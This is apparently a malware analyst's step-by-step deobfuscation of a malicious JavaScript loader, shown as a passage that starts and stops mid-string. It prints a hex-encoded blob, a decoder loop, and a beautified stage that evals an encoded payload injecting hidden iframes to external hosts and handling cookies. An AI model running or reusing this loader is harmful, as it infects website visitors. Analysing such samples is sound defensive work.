x42\x65\x56\x4f\x47\x68\x67\x26\x33\x31\x79\x60\x55\x73\x62\x55\x45\x26\x33\x47\x60\x4c\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x55\x79\x6b\x72\x72\x6b\x26\x33\x31\x26\x33\x38\x26\x34\x44\x75\x67\x69\x47\x43\x6d\x26\x33\x31\x67\x43\x5b\x4a\x79\x26\x33\x33\x31\x58\x6a\x4f\x26\x33\x39\x39\x67\x26\x33\x3a\x26\x33\x31\x4e\x62\x62\x26\x33\x31\x50\x26\x34\x45\x52\x6b\x4f\x26\x33\x31\x6c\x56\x6d\x4b\x6a\x4a\x4a\x26\x33\x31\x75\x6c\x62\x68\x55\x38\x63\x26\x33\x33\x26\x33\x31\x5a\x6f\x5b\x79\x33\x26\x33\x33\x66\x57\x2f\x26\x34\x45\x65\x54\x55\x67\x26\x33\x33\x26\x33\x31\x46\x64\x48\x65\x57\x6a\x48\x54\x26\x33\x33\x26\x33\x38\x26\x33\x31\x31\x26\x33\x31\x67\x60\x5b\x6d\x39\x60\x6c\x6b\x47\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x63\x66\x5a\x2f\x58\x46\x64\x26\x34\x47\x57\x39\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x26\x34\x45\x44\x26\x34\x45\x59\x2f\x63\x6c\x6c\x38\x69\x26\x33\x39\x75\x56\x59\x74\x74\x63\x26\x33\x31\x79\x26\x33\x31\x26\x33\x39\x34\x4d\x59\x65\x2f\x66\x4f\x51\x78\x66\x6a\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x39\x36\x51\x7b\x32\x65\x26\x33\x31\x69\x26\x33\x31\x75\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x33\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x59\x57\x49\x66\x4d\x39\x26\x33\x33\x6f\x26\x33\x33\x26\x33\x31\x56\x48\x32\x58\x65\x74\x39\x26\x33\x33\x48\x26\x33\x33\x26\x33\x31\x26\x33\x31\x6a\x6d\x54\x4a\x58\x35\x26\x33\x33\x58\x57\x58\x55\x47\x66\x5a\x57\x57\x46\x26\x34\x42\x26\x33\x31\x59\x66\x64\x5b\x79\x65\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x69\x38\x50\x54\x66\x26\x33\x31\x50\x4f\x52\x51\x72\x26\x33\x33\x69\x57\x62\x4e\x26\x33\x33\x26\x33\x31\x43\x52\x69\x75\x62\x54\x26\x33\x33\x59\x6d\x4f\x4e\x26\x34\x42\x34\x34\x6a\x71\x2f\x6a\x6e\x2f\x67\x36\x71\x2f\x70\x65\x4e\x32\x2f\x78\x31\x38\x6f\x67\x2f\x56\x4b\x4a\x26\x34\x43\x56\x69\x4e\x26\x34\x43\x6f\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x71\x62\x46\x6f\x4f\x5b\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6f\x75\x67\x6d\x6c\x62\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x57\x6e\x49\x26\x34\x45\x6d\x62\x51\x62\x26\x33\x31\x34\x5b\x33\x26\x33\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x60\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x60\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x60\x65\x65\x51\x4f\x49\x51\x49\x26\x33\x31\x37\x26\x33\x31\x26\x33\x38\x26\x33\x37\x59\x7b\x4d\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x6b\x63\x71\x32\x66\x67\x26\x33\x31\x75\x4d\x45\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x4b\x54\x26\x33\x31\x26\x33\x39\x4f\x60\x58\x54\x6b\x26\x33\x3a\x26\x33\x31\x3a\x60\x5a\x37\x79\x67\x7a\x26\x33\x39\x6a\x60\x69\x35\x66\x54\x26\x33\x43\x43\x57\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x59\x57\x62\x48\x66\x4e\x6c\x62\x26\x33\x31\x26\x34\x45\x52\x66\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x66\x26\x33\x31\x26\x33\x39\x67\x60\x35\x66\x67\x26\x33\x3a\x26\x33\x31\x72\x60\x4a\x4b\x58\x52\x71\x26\x33\x39\x4f\x60\x58\x51\x6c\x4f\x52\x48\x78\x31\x26\x33\x31\x26\x33\x38\x26\x33\x37\x68\x26\x33\x47\x5a\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x67\x3a\x52\x62\x68\x50\x26\x33\x31\x26\x34\x45\x54\x3a\x78\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x26\x33\x31\x26\x33\x39\x58\x60\x44\x39\x67\x60\x66\x6e\x5b\x79\x6f\x26\x33\x31\x26\x34\x44\x26\x33\x31\x63\x60\x38\x4e\x69\x60\x56\x50\x68\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4f\x60\x4d\x55\x6d\x60\x57\x62\x47\x79\x6f\x37\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x73\x75\x69\x26\x33\x31\x54\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x66\x7a\x26\x33\x31\x26\x33\x39\x52\x37\x4a\x42\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x6f\x43\x66\x26\x33\x31\x4d\x66\x48\x6c\x52\x53\x26\x33\x31\x70\x26\x33\x31\x64\x60\x58\x3a\x70\x6d\x62\x43\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x54\x6a\x4d\x57\x72\x2f\x4b\x62\x58\x51\x57\x71\x32\x53\x49\x38\x69\x62\x26\x33\x39\x4a\x60\x5a\x6d\x67\x54\x49\x26\x33\x39\x46\x6d\x56\x51\x52\x4a\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4d\x74\x6c\x52\x6d\x2f\x49\x32\x69\x70\x74\x26\x33\x47\x31\x5a\x65\x26\x33\x43\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x44\x6e\x67\x45\x68\x4e\x5b\x53\x26\x33\x31\x47\x60\x63\x39\x51\x32\x26\x33\x39\x59\x26\x33\x43\x6f\x5b\x46\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x5a\x59\x26\x33\x31\x26\x33\x39\x45\x60\x4a\x68\x67\x26\x33\x3a\x26\x33\x31\x79\x60\x5a\x39\x51\x55\x7a\x26\x33\x39\x58\x60\x5a\x44\x77\x54\x62\x73\x70\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x32\x57\x26\x33\x31\x26\x33\x39\x5b\x6a\x4d\x57\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x58\x4f\x57\x26\x33\x31\x54\x59\x5a\x63\x52\x48\x26\x33\x31\x54\x26\x33\x31\x26\x33\x38\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x5a\x63\x26\x33\x31\x26\x33\x39\x6e\x58\x43\x5a\x5a\x38\x52\x68\x6b\x2f\x4c\x4f\x5b\x4d\x77\x6b\x4f\x50\x4f\x79\x55\x26\x33\x39\x26\x33\x3a\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x65\x74\x5a\x38\x55\x58\x26\x33\x31\x68\x26\x33\x31\x75\x60\x5a\x36\x52\x64\x7a\x3a\x60\x44\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x37\x26\x33\x31\x3a\x60\x55\x71\x39\x67\x45\x4c\x60\x55\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x52\x26\x33\x31\x26\x34\x45\x60\x5a\x69\x4e\x69\x26\x34\x45\x7b\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x57\x4b\x26\x33\x31\x26\x33\x39\x56\x60\x51\x6c\x62\x26\x33\x3a\x26\x33\x31\x3a\x60\x4f\x6c\x56\x6d\x32\x26\x33\x39\x67\x60\x35\x5b\x54\x51\x26\x33\x43\x68\x67\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x4a\x32\x54\x50\x64\x2f\x66\x62\x67\x48\x26\x33\x43\x6b\x26\x33\x43\x65\x63\x38\x69\x58\x26\x33\x39\x72\x60\x26\x34\x45\x4c\x69\x43\x62\x26\x33\x39\x4d\x66\x48\x6c\x52\x53\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4b\x56\x66\x5b\x79\x2f\x63\x32\x69\x6c\x4f\x6e\x5b\x62\x4e\x52\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4a\x58\x58\x62\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x60\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x60\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x60\x65\x63\x43\x6a\x46\x5b\x4b\x63\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x69\x51\x77\x6b\x66\x6f\x6b\x26\x33\x31\x64\x60\x66\x38\x4d\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x26\x33\x31\x26\x33\x39\x63\x60\x4e\x63\x46\x50\x4a\x5b\x26\x33\x3a\x26\x33\x31\x66\x53\x57\x42\x69\x6b\x26\x34\x43\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x76\x58\x26\x33\x43\x26\x33\x31\x64\x72\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x7a\x26\x33\x31\x26\x33\x39\x64\x72\x6a\x4d\x57\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4c\x60\x5a\x54\x4d\x49\x62\x52\x26\x33\x31\x7b\x26\x33\x31\x57\x26\x33\x43\x6c\x62\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4a\x60\x6c\x63\x65\x62\x26\x33\x39\x48\x57\x37\x68\x46\x6d\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x4a\x58\x58\x62\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x67\x53\x57\x6e\x5a\x6a\x65\x6c\x42\x6b\x26\x33\x39\x26\x33\x33\x43\x60\x4a\x6e\x6b\x26\x33\x33\x26\x33\x44\x26\x33\x31\x75\x63\x6f\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x4b\x67\x53\x5a\x68\x57\x52\x37\x26\x33\x31\x4e\x6c\x6e\x49\x26\x33\x39\x7a\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6d\x54\x4d\x26\x33\x31\x4e\x6b\x58\x58\x26\x33\x31\x7b\x26\x33\x31\x62\x55\x53\x5b\x63\x6b\x2f\x52\x37\x63\x6c\x5b\x5b\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x44\x5a\x67\x26\x33\x43\x4d\x70\x2f\x68\x50\x5a\x54\x4d\x49\x26\x33\x31\x39\x26\x33\x31\x54\x69\x51\x77\x6b\x66\x6f\x6b\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x26\x38\x43\x26\x33\x31\x32\x57\x26\x33\x31\x26\x33\x39\x69\x4d\x43\x6f\x26\x33\x3a\x26\x33\x31\x69\x54\x53\x5b\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x33\x31\x52\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x33\x31\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x42\x6c\x62\x26\x33\x47\x26\x33\x39\x7a\x60\x38\x36\x6f\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x73\x62\x26\x34\x45\x4b\x62\x48\x43\x68\x6e\x56\x26\x33\x39\x26\x33\x33\x3a\x60\x54\x31\x57\x26\x33\x39\x26\x33\x3a\x26\x33\x33\x26\x33\x44\x26\x33\x31\x34\x6f\x6f\x64\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x42\x28\x2a\x2a\x3c'; 
r = '';
for(i=0; i < a.length; i++)
{
  e = a.charCodeAt(i)-1;
  r = r +  String.fromCharCode(e);
}
console.log(r);

after nodejs and js-beautify

var jXNIOuT = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var IRhnzfvpzey = 'T79!$99(4+s+~44)T7~@=';
var c = 0;

function joOwzStnKp(s) {
    var YLDzinB = '';
    var nccBusxS = -1;
    var uGTfikjhSf = 0;
    var GaDXrrRHN = unescape(s);
    for (var i = 0; i < GaDXrrRHN.length; i++) {
        nccBusxS = jXNIOuT.indexOf(GaDXrrRHN.charAt(i));
        if (nccBusxS >= 0) {
            uGTfikjhSf = (nccBusxS - IRhnzfvpzey.charCodeAt(c)) % jXNIOuT.length;
            if (uGTfikjhSf < 0) {
                uGTfikjhSf += jXNIOuT.length;
            }
            YLDzinB += jXNIOuT.charAt(uGTfikjhSf);
            c++;
            if (c >= IRhnzfvpzey.length) {
                c = 0;
            }
        } else {
            YLDzinB += GaDXrrRHN.charAt(i);
        }
    }
    return YLDzinB;
} /*f4ck*/
eval(joOwzStnKp('BQj%20D_Igf%09%09%09n%20gVfI%3B%0ArNe%20L_Ahh%09%09%09%2F%20%27d%3Djh%3AfiSfJgEeIhRPQ5.Skl.X%2B1.sViafERb.aLl%27%3B%0AiNT%202_bWbYxik%09%09g%20G_mjM%20x%20%27%3FENXebao%2FjWso_tSU%2FPk%27%3B%0AnBe%20N_WNWiNQ6%09%092%20f_tn4%200%20%27%3FS9QagOzWeEpf_WCBQkm%27%3B%0Arth%20b_FGSnBbJQ%09%09q%20f_heN%20Q%20%27%3FQYse7d4MQSlT_WEgEkSS%27%3B%0AXth%20f_kh7QV%2FA%09%094%20b_VeP%20v%20%27%3FEYgVQ62osW%3Di_dI%2BVWE%27%3B%0A%0AiEc%20N_hbNFxT%09%098%20eW4iW%3B%0AP%2Bj%20b_BcT_TRZRk%09%09o%20H%3B%0AlWq%20f_tfh_9Kl%09%094%20cn%3B%0AZLV%20f_NcR_8ha%09%09%2F%20%27iH%27%3B%0AlSL%20G_ShQ_hVW%09%09q%20%27dggR%3AR1XZiuem.AO3.scy%27%3B%0A%0A%0AJfRYgVQ6%20%3D_c%3Dl8KJs%28%29%0A%7B%0A%09OWlVeR%20U_Elc_hT4%200%20f_Zl8_fj%2F%20h%20b_SQc_MYHak%20x%20%27.Lth%27%3B%0A%7D%0A%0AbtjvjaIK%20B_UwS%28WcGa%29%0A%7B%0A%09iNT%201Vn%20%09%09%09%09%2F%20Z7SmGBfl.DeILXa4YG5Ujs%28%27eyhSGB%27%29%3B%0A%09aXS.fVN%20%09%09%09%09q%20oePG%3B%0A%091Vn.rpEbW.PFkaCVPTXu%09z%20%27UKwTam%27%3B%0A%09eyh.kNVdW.EVWaPWl%09%09z%20%27K6bema%27%3B%0A%091Vj.MQqdF.ZEcKea%09%09z%20%27c%27%3B%0A%091Vn.rpEbW.J%2BVVJaK%09%09x%20%27e%27%3B%0A%09eSe.U%3Dohd.X7hV%2FO%09%094%20%27fPaI%27%3B%0A%09TJn.fga4U.shZ%3DX%09%09%094%20%27U%27%3B%0A%09FXj.TgcWI.dRVI0j%09%098%20%27z%27%3B%0A%09nxjmLK%20aXS%3B%0A%7D%0A%0ASYYGpVbP%20c_bNdlI%28kjF%29%0A%7B%0A%09SSj%20B1SOc%208%20QbEAcamp.ueVS%3B%0A%09FX%20%28SpbHj%29%0A%09%7B%0A%09%09E%2BbQa.1dodn%3D4W%3DLjW%28x_PzQ%28YnY%29%2C%20Nq7Tu.ee%2BiljEadE%29%3B%0A%09%7D%0A%7D%0A%0ASYYGpVbP%20c_SOoW6%28XlGI%29%0A%7B%0A%09nSS%20fTLR%208%20QbEAcamp.vhW7QW9MRQPRp%28%27fcC6%27%29%3B%0A%09ilZj.1df%2FO%3DL0%2F%20q%20SXiY%3B%0A%09eG%3Dknm%20o8Qf%3B%0A%7D%0A%0A%3DRfUUVSY%200_c0cRaB%28%29%0A%7B%0A%09ndpAhf%20%27%3C7MhdFg%20RLQaz%229CBQ%28PL%29%20SxR%20KN%2Bjl%20oPXTZaK%202Q6jnnh%22%20veV%2Fj%22et.DYEdW%22%20WePJ1la%2F%22%27%206%20c_W5JMMJz%28%29%20x%20%27%22%20aTHpUz%22c%22%200Uefd%3D2%22s%22%20%20MQqdFz%22ZTWeOVN1ju%3A%20gewTWH%22%20JSqTPVTTpz%22gTAU%22%3E%09%3ClZntc%20f7JW4%22MVRV%22%20ZWYhGS%22Xpsl%3AR1zW.bt.tkp.fmk7.nonnf.Yoh%3Bvfd%3BU%22%3E%20%3CihSSNQ%3E%3CwElcYG%3D%3E%27%3B%0A%7D%0A%0AVqmY%3DYgH%20t_Y5Qcy9_C%28%29%0A%7B%0A%09nRgW%2Bd%20%27%3CWol4Ul%20H%2BeWn%229EgE%28P%3D%29%20JGu%20IpZn%3D%203UNFnW%2F%202SYXnbY%22%20E7Ta%2F%22iH.Sd7Pk%22%20SSPLTZaz%22%27%20x%20L_tfl_tn4%200%20%27bB%2Bf.bBe%3FVx%27%20o%20INgJ.ybknn%28HqsUXs%202%20%280NXS.VWaQQ5%28%29%2Az585Pz%202%20V%29%29%20h%20%27%22%20oaEgLx%22e%22%20dRVI0j8%22z%22%20%20o%3Dod%2Fj%22naTVFTPegl%3A%20J1TZdj%22%3E%20%3C8Qj7J%20fSNRq%22WMjX%22%20iC4ka%2F%22d%3Djh%3Afizu.fo.fug.xotn.Gr7Tl.vfd%3B9Md%3Bs%22%3E%20%3CmcEcEi%3E%20%3CyNR8bas%3E%27%3B%0A%7D%0A%0AbAdUNFgf%20x_TraTD%2F_K%28%29%0A%7B%0A%09Txjqqj%20%27%3CtfhFBl%20fBZIx%220WiN%288f%29%20Maa%20O%3DQjN%20kUlJiII%20tkagT7b%22%20YnZx2%22eV.%3DdSTf%22%20EcGdViGS%22%27%200%20f_Zl8_kjF%20h%20%27beY.WEc%3FV8%27%20x%20%3DC%3DX.bkk7h%28tUXssb%20x%20%283LXd.eNPwei%28%29%2A85Pz1d%20h%20t%29%29%202%20%27%22%20XVHeL8%22n%22%20UG1Wds8%22G%22%20%20ilSIW4%22WVWTFeYVVE%3A%20XecZxd%22%3E%20%3Ch7OSe%20ONQPq%22hVaM%22%20BQhtaS%22XlNM%3A33ip.im.f5p.odM1.w07nf.UJI%3BUhM%3Bn%22%3E%20%3CpaEnNZ%3E%20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A'));

OK another round of cleaning

var s = 'BQj%20D_Igf%09%09%09n%20gVfI%3B%0ArNe%20L_Ahh%09%09%09%2F%20%27d%3Djh%3AfiSfJgEeIhRPQ5.Skl.X%2B1.sViafERb.aLl%27%3B%0AiNT%202_bWbYxik%09%09g%20G_mjM%20x%20%27%3FENXebao%2FjWso_tSU%2FPk%27%3B%0AnBe%20N_WNWiNQ6%09%092%20f_tn4%200%20%27%3FS9QagOzWeEpf_WCBQkm%27%3B%0Arth%20b_FGSnBbJQ%09%09q%20f_heN%20Q%20%27%3FQYse7d4MQSlT_WEgEkSS%27%3B%0AXth%20f_kh7QV%2FA%09%094%20b_VeP%20v%20%27%3FEYgVQ62osW%3Di_dI%2BVWE%27%3B%0A%0AiEc%20N_hbNFxT%09%098%20eW4iW%3B%0AP%2Bj%20b_BcT_TRZRk%09%09o%20H%3B%0AlWq%20f_tfh_9Kl%09%094%20cn%3B%0AZLV%20f_NcR_8ha%09%09%2F%20%27iH%27%3B%0AlSL%20G_ShQ_hVW%09%09q%20%27dggR%3AR1XZiuem.AO3.scy%27%3B%0A%0A%0AJfRYgVQ6%20%3D_c%3Dl8KJs%28%29%0A%7B%0A%09OWlVeR%20U_Elc_hT4%200%20f_Zl8_fj%2F%20h%20b_SQc_MYHak%20x%20%27.Lth%27%3B%0A%7D%0A%0AbtjvjaIK%20B_UwS%28WcGa%29%0A%7B%0A%09iNT%201Vn%20%09%09%09%09%2F%20Z7SmGBfl.DeILXa4YG5Ujs%28%27eyhSGB%27%29%3B%0A%09aXS.fVN%20%09%09%09%09q%20oePG%3B%0A%091Vn.rpEbW.PFkaCVPTXu%09z%20%27UKwTam%27%3B%0A%09eyh.kNVdW.EVWaPWl%09%09z%20%27K6bema%27%3B%0A%091Vj.MQqdF.ZEcKea%09%09z%20%27c%27%3B%0A%091Vn.rpEbW.J%2BVVJaK%09%09x%20%27e%27%3B%0A%09eSe.U%3Dohd.X7hV%2FO%09%094%20%27fPaI%27%3B%0A%09TJn.fga4U.shZ%3DX%09%09%094%20%27U%27%3B%0A%09FXj.TgcWI.dRVI0j%09%098%20%27z%27%3B%0A%09nxjmLK%20aXS%3B%0A%7D%0A%0ASYYGpVbP%20c_bNdlI%28kjF%29%0A%7B%0A%09SSj%20B1SOc%208%20QbEAcamp.ueVS%3B%0A%09FX%20%28SpbHj%29%0A%09%7B%0A%09%09E%2BbQa.1dodn%3D4W%3DLjW%28x_PzQ%28YnY%29%2C%20Nq7Tu.ee%2BiljEadE%29%3B%0A%09%7D%0A%7D%0A%0ASYYGpVbP%20c_SOoW6%28XlGI%29%0A%7B%0A%09nSS%20fTLR%208%20QbEAcamp.vhW7QW9MRQPRp%28%27fcC6%27%29%3B%0A%09ilZj.1df%2FO%3DL0%2F%20q%20SXiY%3B%0A%09eG%3Dknm%20o8Qf%3B%0A%7D%0A%0A%3DRfUUVSY%200_c0cRaB%28%29%0A%7B%0A%09ndpAhf%20%27%3C7MhdFg%20RLQaz%229CBQ%28PL%29%20SxR%20KN%2Bjl%20oPXTZaK%202Q6jnnh%22%20veV%2Fj%22et.DYEdW%22%20WePJ1la%2F%22%27%206%20c_W5JMMJz%28%29%20x%20%27%22%20aTHpUz%22c%22%200Uefd%3D2%22s%22%20%20MQqdFz%22ZTWeOVN1ju%3A%20gewTWH%22%20JSqTPVTTpz%22gTAU%22%3E%09%3ClZntc%20f7JW4%22MVRV%22%20ZWYhGS%22Xpsl%3AR1zW.bt.tkp.fmk7.nonnf.Yoh%3Bvfd%3BU%22%3E%20%3CihSSNQ%3E%3CwElcYG%3D%3E%27%3B%0A%7D%0A%0AVqmY%3DYgH%20t_Y5Qcy9_C%28%29%0A%7B%0A%09nRgW%2Bd%20%27%3CWol4Ul%20H%2BeWn%229EgE%28P%3D%29%20JGu%20IpZn%3D%203UNFnW%2F%202SYXnbY%22%20E7Ta%2F%22iH.Sd7Pk%22%20SSPLTZaz%22%27%20x%20L_tfl_tn4%200%20%27bB%2Bf.bBe%3FVx%27%20o%20INgJ.ybknn%28HqsUXs%202%20%280NXS.VWaQQ5%28%29%2Az585Pz%202%20V%29%29%20h%20%27%22%20oaEgLx%22e%22%20dRVI0j8%22z%22%20%20o%3Dod%2Fj%22naTVFTPegl%3A%20J1TZdj%22%3E%20%3C8Qj7J%20fSNRq%22WMjX%22%20iC4ka%2F%22d%3Djh%3Afizu.fo.fug.xotn.Gr7Tl.vfd%3B9Md%3Bs%22%3E%20%3CmcEcEi%3E%20%3CyNR8bas%3E%27%3B%0A%7D%0A%0AbAdUNFgf%20x_TraTD%2F_K%28%29%0A%7B%0A%09Txjqqj%20%27%3CtfhFBl%20fBZIx%220WiN%288f%29%20Maa%20O%3DQjN%20kUlJiII%20tkagT7b%22%20YnZx2%22eV.%3DdSTf%22%20EcGdViGS%22%27%200%20f_Zl8_